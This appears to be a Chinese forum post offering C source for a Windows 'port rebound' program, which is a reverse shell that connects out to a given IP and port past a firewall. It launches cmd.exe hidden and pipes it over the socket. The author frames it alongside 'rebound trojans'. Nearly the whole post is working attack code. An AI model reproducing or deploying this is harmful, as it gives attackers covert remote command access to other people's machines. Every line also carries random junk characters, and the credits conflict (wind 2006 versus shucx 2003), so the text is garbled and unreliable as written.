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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )F9%^a(  
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/* ============================== IEKX'+t'  
Rebound port in Windows NT cB{;Nh6"  
By wind,2006/7 '5+, lRu  
===============================*/ "9Fv!*<-W  
#include fqp7a1qQl  
#include looPO:bo^  
;U:o'9^9T  
#pragma comment(lib,"wsock32.lib") AXv3jH,HF  
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void OutputShell(); I>(z)"1  
SOCKET sClient; $F'~^2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]KII?{ <k  
fJN9+l  
void main(int argc,char **argv) Y(;[L`"  
{ OsuSx^}  
WSADATA stWsaData; O8}s*}]  
int nRet; ="PywZ  
SOCKADDR_IN stSaiClient,stSaiServer; &[\arwe)  
!P3tTL!*L  
if(argc != 3) zqEZ+|c=  
{ 6/[h24d  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q0cf]  
return; \$++.%0  
} +GEKg~/4e  
rEyMSLN  
WSAStartup(MAKEWORD(2,2),&stWsaData); cN(QTbyl6Q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < 2r#vmM  
x-P_}}K 79  
stSaiClient.sin_family = AF_INET; Vf2! 0  
stSaiClient.sin_port = htons(0); U%6lYna{M#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hYQ%|CBXBR  
(?=(eo<N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ki 6BPi^  
{ +.Ukzu~s  
printf("Bind Socket Failed!\n"); 8&AorYw[  
return; ]-]@=qYu  
} J~ rC  
#nL0Hx7]E  
stSaiServer.sin_family = AF_INET; Hqy>!1 !  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8TM=AV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^,r;/c9A8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  Z~:lfCK`  
{ MZ[g|o!)v  
printf("Connect Error!"); ~w% +y  
return; uy28=B E  
} gI$`d?[0{  
OutputShell(); YS6az0ie  
} VZl0)YLK  
3W00,f^9  
void OutputShell() -Q8`p  
{ c_=zd6 b$S  
char szBuff[1024]; %&S]cEw  
SECURITY_ATTRIBUTES stSecurityAttributes; BNUf0;  
OSVERSIONINFO stOsversionInfo; =hb87g.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /R?uxhV  
STARTUPINFO stStartupInfo; >}tG^)os  
char *szShell; J@-9{<  
PROCESS_INFORMATION stProcessInformation; `{[C4]Ew/  
unsigned long lBytesRead; FX%E7H  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vUExS Z^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZPog)d@!  
stSecurityAttributes.lpSecurityDescriptor = 0; H*<dte<  
stSecurityAttributes.bInheritHandle = TRUE; Wx`IEPsVbk  
?Cl"jcQ*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dRC+|^ rSC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yQ2[[[@k@  
8`<GplO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lsf?R'1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gW%(_H mX  
stStartupInfo.wShowWindow = SW_HIDE; ywBo9|%T  
stStartupInfo.hStdInput = hReadPipe; w%na n=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yx4c+(J^8  
3_:k12%p  
GetVersionEx(&stOsversionInfo); A}O9e  
yIP IA%dJ  
switch(stOsversionInfo.dwPlatformId) xJlq2cK  
{ }x-8@9S~z  
case 1: 1Tkz!  
szShell = "command.com"; 6jA Q  
break; m\Nc}P_"p  
default: M1\/ueOe  
szShell = "cmd.exe"; ->UrWW^  
break; efm<bJB2  
} F*u;'K   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~{{:-XkVB  
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send(sClient,szMsg,77,0); A5\S0l$Q  
while(1) C7:Ry)8'I  
{ 2sH5<5G'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [0emOS  
if(lBytesRead) 4kEFbzwx  
{ L|Iq#QX|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FB`HwE<  
send(sClient,szBuff,lBytesRead,0); 8V= o%[t  
} 7085&\9  
else =T`-h"E~@  
{ kzT'  
lBytesRead=recv(sClient,szBuff,1024,0); X"sN~Q.0  
if(lBytesRead<=0) break; .N2Yxty8>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J\BdC];  
} 7Fx8&Z  
}  '}=M~  
Z^'; xn  
return; Pa*yo:U'h  
}
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